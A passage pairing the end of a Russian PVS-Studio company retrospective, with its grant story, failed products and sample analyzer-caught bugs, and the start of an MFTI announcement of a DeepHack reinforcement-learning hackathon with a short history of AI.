прежней работе все стало не так светло и радужно. Мы поняли, что больше не можем работать в таком режиме и уволились, временно став безработными. А продажи всё не шли и не шли. Вернее, что-то чуть-чуть мы сумели продать, но столь мало, что про это даже нет смысла говорить. Мы даже не пробовали вывести деньги, скопившиеся на счету реселлера, так как они бы ничем нам не помогли. Это был трудный этап. Денежные запасы таяли, а пополнять их было неоткуда. Был большой соблазн всё бросить и просто устроиться куда-то на работу. Но мы держались. Нас успокаивала мысль, что программисты всегда везде востребованы, и, если уж совсем всё станет грустно, мы в течение недели куда-нибудь да трудоустроимся. Мы искали какие-то варианты найти деньги, чтобы продолжить разработку и верили, что надо продержаться чуть-чуть и начнется рост спроса на наш инструмент. Я уже плохо помню наши хаотичные действия того времени. Помню, например, поход к Сергею Лисицыну в компанию AutomatedQA, офис разработки которой расположен в Туле. Мы пытались заинтересовать его нашими наработками. Но то, чем мы занимались, как-то ни у кого не встречало интереса. Хотя, возможно, мы просто стучались не в те двери или не умели рассказать о себе. Надо было что-то решать, так как проект Viva64 упрямо отказывался становиться успешным и прибыльным. Мы начали искать подработку в виде аутсорса. Мы брались за всё подряд, что попадалось под руку. Мы успели посотрудничать с компаниями Ingate и Intelsys. Затем мы приняли участие в большом проекте одной итальянской компании. Это была программа для зубных техников, занимающихся изготовлением зубных протезов. На компьютере проектировался зубной мост или коронка, затем специальный станок её вытачивал. Фактически, это была сильно специализированная CAD система. Пришлось вспоминать раздел математики, связанный с матрицами поворота и преобразованием изображений. А заодно узнать, что такое NURBS поверхности. Рисунок 4. Один из этапов работы с отсканированной челюстью для создания моста. Обратите внимание, что слева не хватает зубов, а по краям два зуба уже обточены, чтобы можно было проектировать мост, который на них будет крепиться. Опять начались тяжелые трудовые дни. 8 часов надо посвятить работе над CAD системой, а затем ещё, на сколько хватит сил, заниматься усовершенствованием Viva64, сайта, что-то делать по продвижению. Конечно, теперь не надо было тратить время на поездки в офис, так как мы работали дома. Но ещё неизвестно, что тяжелее. Сидеть безвылазно целыми днями за компьютером очень тяжело. Но, видимо, только так что-то и получается сделать, если хочется вырваться из круговорота однотипных будней. Чтобы произошли изменения, надо начать работать ещё больше. Популярность проекта Viva64 постепенно росла, но крайне медленно. Мы начали понимать, что никакого быстрого старта не получилось. Но всё ещё наивно надеялись, что он возможен, ещё чуть-чуть и 64-битность начнёт массово волновать программистов. Забегая вперед скажу, что у темы 64-битнойсти так никогда и не было всплеска. Был очень медленный постепенный переход от 32-битных к 64-битным приложениям. Он идёт и сейчас. До сих пор некоторые клиенты выбирают PVS-Studio, исключительно из-за того, что в нём есть диагностики для выявления проблем, связанных с 64-битностью. Получается, что с 64-битностью мы одновременно и не ошиблись, и ошиблись. Мы не ошиблись в том смысле, что проблема миграции большой кодовой базы на 64-битную платформу действительно существует. За 10 лет мы продали немало лицензий Viva64, а потом и PVS-Studio для поиска 64-битных ошибок. Но мы ошиблись в оценке временных интервалов. Мы думали, что переход будет активно происходить 2-3 года, и ещё пару лет будет спад. И, исходя именно из этих соображений, начинали проект. Мы рассчитывали на спринт, а ввязались в марафон, в котором участвуем вот уже 10 лет. Однако, это сейчас мы понимаем, что к чему. В то время мы продолжали верить в «64-битную тему» и занимались развитием анализатора. Старт 2008, точка невозврата И вот, в 2008 году судьба нас привела к государственной программе Старт. Вернее, готовиться мы к ней начали в 2007 году, а финансирование получили в 2008. В двух словах расскажу, что это такое. Цитата с сайта: «Цель Программы — содействие инноваторам, стремящимся разработать и освоить производство нового товара, изделия, технологии или услуги с использованием результатов своих научно-технологических исследований, находящихся на начальной стадии развития и имеющих большой потенциал коммерциализации. Следует иметь в виду, что программа „Старт“ в первую очередь ориентирована на инициативных научных работников, желающих на основе своих инновационных идей создать устойчиво работающий бизнес». Если совсем простыми словами, то дело обстоит так: вы рассказываете об инновационном проекте. Вам дают грант на его осуществление и проверяют, что вы достигаете заявленных результатов. Если все хорошо, то финансирование может быть продлено на второй, а затем третий год. Кстати, программа действует и сейчас. У нас осталось двойственное чувство от участия в этой программе. С одной стороны, она слишком бюрократизирована и требует соблюдения множества формальностей. С другой стороны, эта программа стимулирует перейти на новый уровень. В целом, я дам положительную оценку этой задумке. Участие в этой программе дало своего рода пинок нам под зад по многим направлениям. Для участия в программе требуется создать ООО. Далее, выделяются небольшие деньги (тогда это было 750 000 рублей на год). Но даже эти деньги потратить не так легко. Нельзя просто взять и накупить, например, компьютеров и рекламных баннеров на сайтах. А не потратить нельзя, да и глупо. В результате, необходимость что-то делать с деньгами привела к тому, что мы сняли первый офис. У нас появилось два первых сотрудника. Было куплено для офиса что-то из мебели и так далее. Рисунок 5. ООО «СиПроВер», 2008 год. Первый день в первом собственном офисе. Итого, участие в программе Старт заставило нас выйти из дома и начать не играть в проект Viva64, а реально им заниматься. Старт подтолкнул нас к регистрации ООО, найму первых сотрудников, и вообще заставил чувствовать себя настоящими организаторами компании. В этом основная ценность этой программы для нас. Она сорганизовала нас и заставила думать о себе не просто как о программистах с интересным техническим проектом, а как о предпринимателях. Эта программа стала своего рода катализатором нашего проекта. Она заставила выйти из зоны комфорта и начать заниматься новыми вопросами и задачами. За это спасибо правительству и всем, кто организует эту программу. На этом хорошее заканчивается. Надо и о плохом. Это ужасная бюрократия, и множество дней уходит на подготовку технических и бухгалтерских отчётов. Деньги потратить на то, что действительно нужно, получается редко. В результате приходится использовать деньги хоть и для полезных, но второстепенных вещей. Это сложно объяснить, надо самому попробовать, чтобы прочувствовать. Но поверьте, что мороки и ограничений очень много. Понятно, что все эти ограничения сделаны не просто так, а чтобы воровали поменьше, показывая только фикцию работы. Однако, честным участникам это слабое утешение в их мучениях. Как я думаю, вы уже поняли: выделенные фондом деньги вовсе не покрыли все необходимые расходы. Мы по-прежнему занимались аутсорсом на «зубную тему», но теперь уже находясь в офисе. В очередной раз работы только прибавилось. Помимо аутсорса, развития анализатора, его продвижения, теперь добавилась работа с фондом: подготовка отчетов и поездки в Москву для их сдачи. Это был «Ад». И когда заканчивался 2008 год, мы решили, что не будем пытаться продлить наше участие в программе «Старт». Слишком много отнимает бюрократия, причем время и силы, которые мы на неё тратим, расходуются впустую. В это время начали потихоньку идти какие-то продажи Viva64, и мы видели, что явно уделяем проекту меньше сил, чем могли бы. Мы решили, что лучше затянем пояса, но зато будем больше заниматься перспективными направлениями, а не печатью талмудов отчётов. Мы не стали подавать заявку на следующий год. Со стороны такое решение, возможно, покажется глупым. Но я уверен, что тогда мы поступили правильно и, возможно, сэкономили себе 1 или 2 года. Я упомянул, что начались какие-то продажи Viva64. Да, именно так. Причем мы начали постепенно повышать цену, так как клиентами были крупные компании. Именно тогда закралось подозрение, что мы делаем продукт не для программистов, а для компаний. Впрочем, до осознания того, что мы B2B, было ещё далеко. VivaMP, первая ошибка За десять лет мы допустили множество ошибок. Про мелкие рассказывать я не буду, так как это, во-первых, не очень интересно, а, во-вторых, я уже почти всё позабыл. В качестве примера такого мелкого ляпа могу вспомнить, что первый год наше ООО работало не по упрощенной системе налогообложения, а по общей. Мы не знали, что надо подать заявление о переводе на упрощенную систему в первые 5 дней — типичная ошибка новичков. Бедой это не было, так как в первый год ООО заработало мало денег, так что и потеряло тоже крайне мало. Так что давайте поговорим про более эпические ляпы. Первым из них стал проект VivaMP. Мы начали этот проект ещё в 2008 году, но первый релиз состоялся в марте 2009 года. Итак, мы уже смирились, что 64-бита не дали нам быстрого «взлёта», и начали искать новое направление, где можем опередить других. И как нам казалось — нашли. В 2008 году стали массово появляться многоядерные процессоры. На повестке дня программистов стоял вопрос: какая технология будет доминировать в сфере разработки параллельных программ на языке C и C++? Варианты были разные: MPI, OpenMP, какие-то уже существующие библиотеки, или которые могли вскоре появиться. В то время компания Intel продвигала технологию OpenMP. По крайней мере, нам так казалось. И мы решили повторить рисковый эксперимент: создать инструмент статического анализа кода для параллельных программ, построенных на технологии OpenMP. Вообще, статический анализ кода параллельных программ — задача неблагодарная и в общем случае не решаемая. Здесь царствуют динамические анализаторы кода. Хоть какой-то статический анализ параллельных программ возможен, только если код программы специальным образом размечен, чтобы подсказать анализатору, какие блоки будут выполняться параллельно, а какие нет. Здесь технология OpenMP крайне удачна для анализатора. Директивы "#pragma omp ...." и есть та самая, так необходимая разметка для анализатора. Мы подробно изучили тему программирования с помощью OpenMP и убедились, что есть ошибки, которые можно выявлять статическим анализом кода. Интересующиеся могут познакомиться с нашей статьёй: " 32 подводных камня OpenMP при программировании на Си++ ". В целом, новая тема была выбрана неверно. Совсем неверно. Если с 64-битностью интерес был и есть, пусть и не такой большой, как хотелось, то в случае OpenMP интереса не было совсем. Причин для невезения, видимо, было несколько: Технология OpenMP не стала мейнстримом. Она занимает скромную позицию наравне с другими технологиями параллельного программирования. Из пункта один следует, что не так много программистов используют OpenMP в своих проектах. Следовательно, спрос в любом случае будет мал. Помимо этого, мы, видимо, не смогли выйти на эту группу разработчиков и донести до них информацию о существовании инструмента VivaMP. Статический анализ для поиска ошибок в параллельных программах всё равно слаб и сильно проигрывает другим инструментам. Проект VivaMP не задался. Он был просто никому не нужен. В почте практически не было вопросов об этом анализаторе или сообщений об ошибках в нём. Мир просто проигнорировал его существование VivaMP в дальнейшем был интегрирован в PVS-Studio, а в 2014 удалён. Стандарт OpenMP продолжал развиваться, в нем появлялись новые возможности и новые ключевые слова. Их надо было поддерживать, а смысла это делать для мертворожденного инструмента не было. Только трата сил и никакой пользы. Мы собрались с духом и удалили эту часть анализатора. VivaMP — первый наш большой промах. Все-таки создать и продвинуть новый инструмент — это большая работа и много потраченного времени. Несмотря на эту неудачу, в 2009 году мы нашли в себе смелость и силы отказаться от заказной разработки и полностью посвятить себя развитию анализаторов. Viva64 начал приносить, хоть и слабый, но достаточный для автономного существования доход. В это время наша прибыль составляла намного меньше, чем мы могли бы получать, просто устроившись куда-то программистами. PVS-Studio с анализатором общего назначения, первые успехи В 2009 году мы объединили Viva64 и VivaMP в единый продукт в надежде что диагностики VivaMP будут покупать как довесок к 64-битным диагностикам. Результата это никакого не дало, так что подробнее рассказывать про это смысла нет. Тем не менее, стоит отметить 2009 год, как важную веху в жизни нашей компании. Именно в этом году появился анализатор PVS-Studio, который вначале представлял собой как раз объединение Viva64 и VivaMP. Кстати, заодно, давайте поговорим о названиях. Анализатор Viva64 появился как желание выразить мысль: «Да здравствует 64-битный мир!». А именно само слово «viva» было навеяно недавним прослушиванием мною песни «Viva Forever». Я предложил использовать именно такое название Евгению, и он согласился. Аналогичным образом был назван и наш сайт www.viva64.com , который мы никогда не видели смысла переименовывать, так как его название постепенно стало популярным. Название PVS-Studio образовано более сложным образом. Первые три буквы — это сокращение от названия нашей компании OOO «Program Verification Systems». «Studio» было добавлено, чтобы подчеркнуть, что это не просто один инструмент, а коллекция инструментов, собранных вместе. На самом деле, название не очень удачно, так как его очень часто пишут неправильно: кто-то не ставит черточку, кто-то вместо PVS пишет PSV и так далее. Если бы мы выбирали название сейчас, мы использовали бы что-то более простое. Собственно, так мы и поступили, создавая CppCat, но это совсем другая история, о которой я поговорю ниже. Вернёмся к основной линии повествования. В 2010 году мы решили, что сможем усилить интерес к анализатору PVS-Studio, добавив к нему немного диагностик общего назначения. Причем эти диагностики мы планировали сделать бесплатными, так как не верили, что на них можно что-то заработать. В сфере диагностик общего назначения для C и C++ в то время царствовали такие инструменты, как Coverity, Parasoft C/C++test, Klocwork, Gimpel PC-Lint и так далее. Мы не видели никакого смысла даже пытаться потеснить эти инструменты. Поэтому бесплатные диагностики общего назначения мы планировали сделать исключительно в рекламных целях. Идея была такая: человек проверяет бесплатно свой проект, а заодно узнает о платных диагностиках, связанных с 64-битностью и OpenMP. В ноябре 2010 мы выпустили первую бета-версию PVS-Studio 4.00, в которой появился новый набор правил статического анализа общего назначения. На тот момент их было 45 штук. Вот статья про это событие: " Трепещи, мир! Мы выпустили PVS-Studio 4.00 с анализатором общего назначения ". Дальше произошло ключевое событие, изменившее всё. Можно сказать, это был переломный момент, когда мы перешли от безвестного прозябания к успешной стратегии поведения. Конечно, после этого до каких-то успехов было ещё далеко, но «лёд тронулся». Нам написал программист, который оценил наши диагностики общего назначения и спрашивал, сколько он должен за них заплатить, чтобы продолжать ими пользоваться. Мы ответили, что нисколько, но, возможно, его заинтересуют 64-битные диагностики, которые крайне полезны. На что он ответил, что 64-битные и VivaMP диагностики ему совершенно не нужны. И что большое спасибо за такой клёвый инструмент, тем более что он сможет продолжить пользоваться диагностиками общего назначения бесплатно. Мы услышали этот сигнал из космоса и быстро пересмотрели свои подходы. Поэтому вышедшая через месяц релизная версия PVS-Studio 4.00 была уже платной. Пришлось даже написать объяснительную статью, почему мы так быстро передумали: " Почему PVS-Studio 4.00 будет платным решением ". Статью можете не читать, так как я скажу, что её смысл сводится к «мы хотим денег». Итак, PVS-Studio стал представлять собой комплект из трех анализаторов (Viva64, VivaMP, диагностики общего назначения), которые мы начали продавать как единое целое. В этой же версии впервые появились корпоративные лицензии (Site License). Шло время, анализатор PVS-Studio развивался и постепенно начинал приносить больше денег. В PVS-Studio 4.30 появляется инкрементальный анализ — возможность автоматически запускать анализатор для тех файлов, которые только что были изменены и перекомпилированы. Это позволило начать регулярно использовать PVS-Studio на локальных машинах разработчиков. А еще в PVS-Studio 4.32, которая вышла в июле 2011 года, мы отказались от лицензий для одного пользователя. Это было ещё одно из самых лучших бизнес-решений в истории компании. Мы поняли, что PVS-Studio — это командный инструмент, который приносит пользу всему проекту, независимо от того, сколько именно человек непосредственно с ним работают. В начале 2012 года вышел PVS-Studio 4.53, в котором уже насчитывалось 100 сообщений анализа общего назначения (V501-V600). Вскоре также появился набор диагностик «Микро-оптимизации» для поиска тех мест падения производительности, которые можно обнаружить статическим анализом. Так прошли 3 года, когда мы принимали верные и полезные решения по развитию проекта. Это слишком долго, пора было делать глупости. Embarcadero RAD Studio, вторая ошибка История будет короткой, так как особенно и рассказывать не о чем. В PVS-Studio 5.00 появилась интеграция в Embarcadero RAD Studio. Нам казалось, что в мире полно пользователей C++Builder. Мы были неправы. Ну или мы просто их не нашли. В целом, история была аналогична VivaMP. Да, где-то он в мире RAD Studio используется, но уже очень мало. Никакого интереса программистское сообщество к событию не проявило. Как и с VivaMP, не было ни писем с вопросами, ни сообщений об ошибках. Просто тишина. Естественно, было потеряно время и силы на поддержку Embarcadero RAD Studio и рекламу новых возможностей. Впрочем, безумия с Embarcadero RAD Studio нам показалось мало, и мы без отдыха, через год, совершили новую серьезную ошибку. CppCat, третья ошибка Мы выпустили продукт CppCat 1.00 — основанный на PVS-Studio недорогой статический анализатор. Мы его называли «альтернативой PVS-Studio за $250». Идея была в том, чтобы выпустить статический анализатор высокого уровня, но за очень небольшие деньги. Он был сильно дешевле. Якобы тогда намного больше разработчиков будут покупать и использовать наши решения. Возможно, мы бы даже тогда совсем отказались от PVS-Studio, который представлялся нам большой и тяжелой программой с историей, в противовес легкому и молодому CppCat, в котором простой интерфейс сочетался с мощным анализом кода. Думаю, по названию главы вы уже догадались, что это была плохая идея. Я решил не описывать здесь подробности этой ошибки, так как они будут фактически пересказом статьи " Мы закрываем проект CppCat ". Крайне рекомендую эту статью к прочтению, она небольшая и весьма интересная. Рисунок 6. Проект CppCat был хорош всем. У него было простое название, в нем были простые настройки, его мог приобрести себе индивидуальный разработчик. Плохо было одно: он не приносил денег. Чуть более чем через год мы закрыли проект CppCat, вновь потратив время и силы впустую. Как видите, мы наделали массу серьёзных ошибок, каждая из которых могла нас разорить. Зато теперь мы стали намного аккуратней и подходим к новым экспериментам более вдумчиво, заранее закладывая ресурсы на случай очередного промаха. Кстати, чуть ранее закрытия CppCat, мы заодно удалили поддержку Embarcadero RAD Studio и диагностик OpenMP. Мы поняли, что пора избавляться от балласта, который не приносит денег, но всё равно требует усилий на поддержку. Наши дни Неудачи с CppCat, VivaMP, Embarcadero RAD Studio не подорвали наш энтузиазм, и мы вложились в три новых направления: Анализ C# кода; Поддержка Linux; Бесплатный вариант лицензии PVS-Studio. Пока рано говорить об успешности или неуспешности этих начинаний. Про результаты я смогу уверенно рассказать только через несколько лет. Но мы по-прежнему полны энергии покорить мир, тем более, что это постепенно получается. Можно отсчитывать время полноценного начала существования нашей компании с 2009 года, когда мы перешли на самоокупаемость без поддержки аутсорсинговых проектов. На тот момент нас было 4 человека. По прошествии 7 лет наша команда PVS-Studio состоит из 24 человек. Конечно, это нельзя называть большим успехом, но как получилось, так и получилось. Я не вижу смысла приукрашивать действительность. Несмотря на 10 лет пути, мы считаем, что находимся только в начале и только учимся по-настоящему делать и продавать наш программный продукт. Надеюсь, я рассказал вам интересную историю. Буду рад если она воодушевит кого-то не бросать свои начинания и продолжать верить в мечту. Рисунок 7. Не сдавайтесь! Ах да, баги Viva64 v1.0 Я был бы не я, если бы не проверил первую версию анализатора Viva64 с помощью современной версии PVS-Studio. Ошибок нашлось совсем мало в силу крошечного размера ядра анализатора того времени. Нашего кода, так там, вообще, всего 3-4 тысячи строк. На тот момент ядро анализатора Viva64 состояло всего из 210 файлов и насчитывало 37 KLOC. Для сравнения, сейчас ядро PVS-Studio для анализа C/C++ кода состоит из 320 файлов и насчитывает уже 208 KLOC. Соответственно, количество кода, написанного нами, увеличилось где-то в 40 раз. Примечание. Ещё раз уточню, что речь идёт именно о ядре для анализа C и C++ кода. Помимо этого, существует Plugin для Visual Studio, ядро анализатора для C#, утилита Standalone и так далее. Так что общий размер кода за эти годы вырос в сотни раз. Итак, рассмотрим предупреждения современного анализатора, которые мне показались интересными, чтобы включить их в статью. rw_table_sanity_check(const rw_table table[]) { unsigned n = (sizeof table)/(sizeof table[0]); if (n < 2) return; for (const char* old = (table++)->name; --n; old = (table++)->name) if (strcmp(old, table->name) >= 0) { cerr << "FAILED: '" << old << "' < '" << table->name << "'" << endl; assert(! "invalid order in presorted array"); } } Эта ошибка выявляется сразу двумя предупреждениями PVS-Studio: V511 The sizeof() operator returns size of the pointer, and not of the array, in 'sizeof table' expression. lex.cc 822 V514 Dividing sizeof a pointer '(sizeof table)' by another value. There is a probability of logical error presence. lex.cc 822 Ошибка относится к подсистеме юнит-тестов. Тест, на самом деле, ничего не проверяет, так как переменной n присваивается значение 0. Ошибка в том, что table — это просто указатель, а не массив. А вот ошибка, которую сделал лично я: bool IsLiteralFFFFFFFF(const char *buf, size_t len) { if (len < 10) return false; if (buf[0] != '0' && (buf[1] != 'x' || buf[1] != 'X')) return false; .... } Предупреждение PVS-Studio: V547 Expression 'buf[1] != 'x' || buf[1] != 'X'' is always true. Probably the '&&' operator should be used here. vivacasts.cpp 632 Не работает быстрая проверка, что литерал должен начинаться с символов «0x» или «0X». Проверка считает правильными любые строки, которые начинаются с символа '0'. Немного длинный код, но я решил его всё-таки не сокращать: Ptree* Append(Ptree* p, Ptree* q) { Ptree *result, *tail; if(p == 0) if(q->IsLeaf()) // <= return Cons(q, 0); else return q; result = tail = Cons(p->Car(), 0); p = p->Cdr(); while(p != 0){ Ptree* cell = Cons(p->Car(), 0); tail->SetCdr(cell); tail = cell; p = p->Cdr(); } if(q != 0 && q->IsLeaf()) // <= tail->SetCdr(Cons(q, 0)); else tail->SetCdr(q); return result; } Предупреждение PVS-Studio: V595 The 'q' pointer was utilized before it was verified against nullptr. Check lines: 360, 374. ptreeutil.cc 360 В функции произойдёт разыменование нулевого указателя, если оба фактических аргумента окажутся равны nullptr. Следующий код вполне оправдан для тех времён, но сейчас так писать уже нельзя: Class* Environment::LookupClassMetaobject(Ptree* name) { TypeInfo tinfo; Bind* bind = 0; if (this == 0) { TheErrorLog().Report( MopMsg(Msg::Fatal, "Environment::LookupClassMetaobject()", "0 environment")); return 0; } .... } Предупреждение PVS-Studio: V704 'this == 0' expression should be avoided — this expression is always false on newer compilers, because 'this' pointer can never be NULL. environment.cc 115 Таких проверок ещё есть с 10 штук. На этом всё. Наверное, мои читатели ждали большего, но, действительно, больше ничего заслуживающего внимания нет. Просто 37 KLOС — это очень мало, и мы всегда очень тщательно подходили к написанию кода и тестированию. Заключение Из интересных наблюдений я могу сказать, что 10 лет назад я представлял организацию работы фирмы сильно по другому. Мне казалось, что когда всё наладится, я и Евгений будем заниматься творческими вопросами, разрабатывать стратегии развития и вообще сидеть в креслах с умным задумчивым видом. Но выяснилось, что чем дальше, тем больше наша работа напоминает работу пожарных, которые самоотверженно должны сражаться с различными бедами. А чем большее количество площади в офисе мы занимаем, и чем больше сотрудников, тем больше становится этих «пожаров» и тем более они разнообразны по своей природе. Примеры: проблемы с электричеством, протечки потолка, заклинивший замок в двери, ликвидация нарушения в виде недоплаченного налога в размере 1 копейки, и так далее. Это, конечно, не значит, что лично я или Евгений полезем самостоятельно менять кондиционер, пробитый этой зимой сосулькой. Однако, организовать его починку нужно будет именно нам. Рисунок 8. Свежая зимняя проблема. Вот так выглядят трудности стартапов. Они вовсе не в том, что выбран не тот Framework. Однако, иногда приходится действительно брать в руки инструмент и сделать что-то, чтобы оно работало. Рисунок 9. Я и Сергей Хренов за изготовлением правильного Press Wall. Хочешь сделать что-то хорошо, сделай это сам. Наверное, это естественный переходный этап любой компании, когда организаторы вынуждены заниматься всё большим количеством разнообразных дел, которые не имеют прямого отношения к проекту, но которыми нельзя не заниматься. Со временем должен появится завхоз, юрист, выделенный админ, менеджеры, замыкающие ряд вопросов на себя. Пока мы до всего этого не доросли, но будем стараться. Спасибо всем за внимание. На этом я заканчиваю и поздравляю всех с наступающим Новым годом. Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Andrey Karpov. PVS-Studio project — 10 years of failures and successes .
https://habrahabr.ru/company/pvs-studio/blog/318756/
habrahabr
Почему этой зимой мы снова приглашаем всех поиграть в компьютерные игры при помощи искусственного интеллекта
['МФТИ', 'хакатон', 'reinforcement learning', 'deep learning', 'компьютерные игры', 'искусственный интеллект']
Хабр, МФТИ приветствует тебя! Как истинные технари, сразу переходим к делу и приглашаем всех, кому интересно, принять участие в новом хакатоне DeepHack, который пройдет на Физтехе с 6 по 12...
Хабр, МФТИ приветствует тебя! Как истинные технари, сразу переходим к делу и приглашаем всех, кому интересно, принять участие в новом хакатоне DeepHack, который пройдет на Физтехе с 6 по 12 февраля. Отборочный этап уже начался и продлится до 22 января. Это мы всё к чему… Если вы не понаслышке знаете, что такое DQN, deep RL и DeepHack сразу регистрируйтесь на очередную научную школу-хакатон — rl.deephack.me . А если вы не до конца в теме и вам, например, не ясно, почему компьютерные игры, какое отношение они имеют к управлению дата-центрами и что на самом деле будет в феврале, то срочно идите под кат — там максимальное погружение в жизнь искусственного интеллекта от древности и до наших дней. Ну вы же не думаете, что всё это изобрели только в XXI веке? Шпаргалка читателю: DeepHack — формат, совмещающий в себе классический хакатон с пиццей, кока-колой и круглосуточным кодингом и научную школу с лекциями от ведущих специалистов по теме. Что рассказывали на прошлых хакатонах и какие получились результаты, можно узнать на сайтах game.deephack.me и qa.deephack.me . Введение Углубимся в историю. Как вы знаете, первые попытки создать искусственный интеллект начались очень давно. Ответ на вопрос, насколько давно, сильно зависит от того, что именно мы вкладываем в понятие “искусственный интеллект”. Мы будем считать, что искусственный интеллект — некоторая машина, способная с помощью логических вычислений принимать решения. Такое определение позволит нам пропустить все (безусловно, очень интересные) попытки создать искусственный интеллект в Древности, Античности, Средневековье и Новом Времени, сразу перескочив в 19-ый век к Чарльзу Бэббиджу и Аде Лавлейс. Они широко известны, как создатель вычислительной машины и первый программист соответственно. Но не будем задерживаться здесь и пойдем даже еще дальше — в начало века 20-ого, когда Давид Гильберт, ставший после смерти Анри Пуанкаре общепризнанным математиком №1, поставил перед мировым математическим сообществом вопрос: “могут ли быть все математические рассуждения формализованы?” Ответ на этот вопрос дали другие теперь известные ученые: Курт Гёдель со своей теоремой о неполноте (1931 год), Алан Тьюринг, предложивший машину имени себя (1936) и Алонзо Чёрч, придумавший λ-исчисление (серия работ в 1930-ых). Работы Гёделя продемонстрировали, что математическая логика имеет свои границы. Но результаты Тьюринга-Чёрча показали, что все то, что математическая логика в состоянии описать, может быть формализовано и выполнено машиной. В 1943 году вышла работа, положившая основу всем современным чудесам, которые демонстрируют нейронные сети (например, способность отличать кошек от собак на сверхчеловеческом уровне): «Логическое исчисление идей, относящихся к нервной активности» авторства Уоррена Маккалока и Уолтера Питтса. В частности, они предложили формальную модель нейрона. Прошло немного времени, и Алан Тьюринг предложил знаменитый тест имени себя — тест на проверку создания искусственного интеллекта. А годом позже, в 1951-ом, Марвин Мински построил первую нейросетевую машину (SNARC). Основным проблемами искусственного интеллекта были недостаток вычислительной мощности машин и так называемый парадокс Моравека (Hans Moravec): “Почему сложные задачи, вроде доказательства теорем, просты для компьютера, а простые, вроде узнавания лиц, сложны?” Возрождение интереса к ИИ До недавнего времени особого интереса к ИИ, как к полю для исследовательской деятельности не наблюдалось, но закон Мура, исправно работавший с 1965 года, дал о себе знать. Первым предвестником новой весны, пожалуй, стала, победа компьютера Deep Blue в шахматной битве с тогдашним чемпионом мира Гарри Каспаровым в 1997 году. Кстати, в этом же году была опубликована работа Юргена Шмидхубера Long Short-Term Memory (Длинная краткосрочная память), заложившая основы современного поколения рекуррентных сетей. Дальше побед в копилке ИИ становилось только больше. Например, последняя общеизвестная победа в игре го принадлежит программе AlphaGo. Но и до этого поступь искусственного интеллекта была слышна: получение сверхчеловеческого качества в классификации картинок на 1000 классов (ImageNet), распознавании речи (ByteNet) и доказательство математических теорем (множество специализированных пакетов). Новый период расцвета ИИ пришелся на 2000-ые годы и продолжается до сих пор. Ключевая задача ИИ — управление поведением В 90-е становилась все более распространенной концепция “интеллектуального агента”, который принимает решение о своем поведении на основании данных из окружающего мира. Попытки делать таких агентов начались еще в глубокой древности, но только с развитием достаточно мощности вычислительных машин (мы помним про закон Мура) такие агенты получили распространение. Сейчас интеллектуальные агенты управляют торгами на биржах, сажают самолеты и могут вести ваш автомобиль за вас (сразу в голову приходит беспилотная Tesla, но и обычный круиз-контроль тоже можно считать таким агентом). История DeepMind и Atari, как песочница для ИИ От реальных задач переходим к задачам нереальным, а именно — компьютерным играм. И тут на сцену вступает Дэмис Хасабис (Demis Hassabis) — исследователь в области ИИ, разработчик игр и игрок в шахматы. В 2010-ом году он основал компанию DeepMind. Дэмис, будучи разработчиком игр, сохранил интерес к ним и занимаясь искусственным интеллектом. Так, в 2012 году появились первые результаты побед интеллектуальных агентов в играх для приставок Atari. На просторах бывшего СССР эти приставки не получили распространения, но приставка Dendi имеет близкие вычислительные возможности и множество портированных с Atari игр, например, Galaxy / Space Invaders. В 2014-ом году компания была приобретена Google, но Дэмис сохранил свой руководящий пост и продолжил движение в том же направлении. В 2015-ом году очередной вехой стала публикация в журнале Nature . Google же нашла применение полученным результатам и в реальности — например, для управления электропитанием своих дата-центров . Переход на открытую науку Мы уже упоминали Tesla, стоит упомянуть и её основателя — Илона Маск, который помимо прочих занятий в 2015 году стал одним из сооснователей института OpenAI, целью которого является создание искусственного интеллекта. Почему в названии присутствует “open”? Илон Маск постулирует, что потенциальный риск создания искусственного интеллекта (довольно неплохо проиллюстрированный в теперь уже классическом фильме “Терминатор” с Арнольдом Шварценеггером, снятом в 1984-ом, еще до начала сегодняшнего всплеска интереса к ИИ) может быть уменьшен, если все получат равный доступ к результатам исследований искусственного интеллекта. Не совсем очевидная стратегия, но можно вспомнить ученых-участников Манхэттенского проекта, передававших чертежи атомной бомбы СССР для избежания опасного дисбаланса вооружений. Уже через несколько месяцев после создания, в апреле 2016-ого года, OpenAI запустил общедоступную платформу gym (“тренажерный зал”), на которой каждый может опробовать свои алгоритмы для решения задач интеллектуальных агентов в различных окружениях — вроде передвижения кубика в нужное место комнаты или удержания шеста в вертикальном положении. Еще через полгода в gym добавляют игры Atari — и теперь любой может посоревноваться со специалистами DeepMind в умении обучать интеллектуальных агентов играть в компьютерные игры. История хакатонов DeepHack Но еще до того, как это стало возможным, появилась идея попробовать свои силы в соревновании ИИ на Atari. Так родился первый хакатон DeepHack, который состоялся летом 2015-ого года. Совместно с хакатоном было решено провести научную школу, чтобы лекции и общение с лекторами помогли бы участникам хакатона продвинуться дальше и превзойти результаты DeepMind. Забегая вперед, можно сказать, что в какой-то мере это удалось: одна из команд даже опубликовала научную работу по результатам хакатона. Лекторами на первом хакатоне DeepHack выступили: Юрген Шмидхубер (Juergen Schmidhuber) — кажется, что этот человек не нуждается в представлении, достаточно сказать, что он считается одним из отцов современных нейронных сетей и является руководителем группы в швейцарском институте по исследовании ИИ, Йошуа Бенжио (Yoshua Bengio) — еще один из отцов современных нейронных сетей, руководитель лаборатории по исследованию ИИ в университете Торонто, Руслан Салахутдинов, глава исследовательского подразделения компании Apple, профессор в университете Карнеги-Меллон, а также многие другие. Подробно посмотреть список участников, записи лекций и слайды можно на сайте game.deephack.me . Второй DeepHack Через полгода, зимой 2016-ого, мы решили переключиться на не менее интересную задачу — ответы на вопросы для американского аналога ЕГЭ. В это время начался всемирный конкурс Kaggle на данных, предоставленных исследовательским институтом Аллена в области ИИ (Allen Institute for Artificial Intelligence), основанным Полом Алленом (Paul Allen, сооснователь компании Microsoft) в 2013-ом году. Здесь также работала научная школа, куда были приглашены ведущие ученые в области обработки естественного языка: Кристофер Мэннинг (Christopher Manning), профессор Стэнфордского университета, автор классической книги “Основы статистической обработки естественного языка”, Томаш Миколов (Tomas Mikolov), исследователь ИИ в Facebook, автор word2vec, Фил Блансом (Phil Blunsom), профессор Оксфордского университета, исследователь в DeepMind. И опять, многие другие — подробности на qa.deephack.me . Новый DeepHack Для нового DeepHack, который пройдет 6-12 февраля 2017-ого года был выбран OpenAI gym, как общедоступная платформа, и в качестве задачи — сложные с точки зрения машины игры, вроде Пакмана (мы помним про парадокс Моравека). В рамках хакатона снова будет работать научная школа, лекции сможет посетить любой желающий. Лекторы будут объявлены позже, все обновления можно отслеживать на rl.deephack.me . Но уже сейчас 